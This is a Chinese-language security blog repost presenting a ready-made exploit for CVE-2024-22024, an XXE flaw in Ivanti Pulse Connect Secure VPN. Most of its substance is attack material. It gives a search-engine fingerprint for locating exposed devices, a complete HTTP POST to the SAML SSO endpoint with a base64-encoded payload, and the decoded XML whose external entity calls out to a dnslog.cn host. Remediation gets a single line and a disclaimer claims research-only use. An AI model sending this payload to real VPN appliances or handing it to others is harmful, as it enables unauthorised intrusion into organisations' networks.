CVE-2024-22024 漏洞（附EXP）

admin
admin
admin
139622
文章
114
评论
2024年3月9日19:11:07评论139 views字数 788阅读2分37秒阅读模式

CVE-2024-22024 漏洞（附EXP）

0x01 前言

    Ivanti Pulse Connect Secure VPN 存在XXE 漏洞，攻击者可构造恶意请求进而触发XXE，通过该漏洞可以获取服务器权限。

0x02 影响平台

Ivanti Pulse Connect Secure VPN

0x03 漏洞复现

搜索语法

body="welcome.cgi?p=logo"

页面是这个酱紫

CVE-2024-22024 漏洞（附EXP）

EXP如下：

POST /dana-na/auth/saml-sso.cgi HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36Connection: closeContent-Length: 172Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vMHVyeDNsLmRuc2xvZy5jbi94Ij4gJXdhdGNoVG93cjtdPjxyPjwvcj4=

需要Base64编码的XML文件内容如下：

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM    "http://0urx3l.dnslog.cn/x"> %watchTowr;]><r></r>

CVE-2024-22024 漏洞（附EXP）

Success~

CVE-2024-22024 漏洞（附EXP）

0x04 修复方案

建议及时更新至最新版本！

 CVE-2024-22024 漏洞（附EXP）

原文始发于微信公众号（EchoSec）：CVE-2024-22024 漏洞（附EXP）

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月9日19:11:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   CVE-2024-22024 漏洞（附EXP）https://cn-sec.com/archives/2559058.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息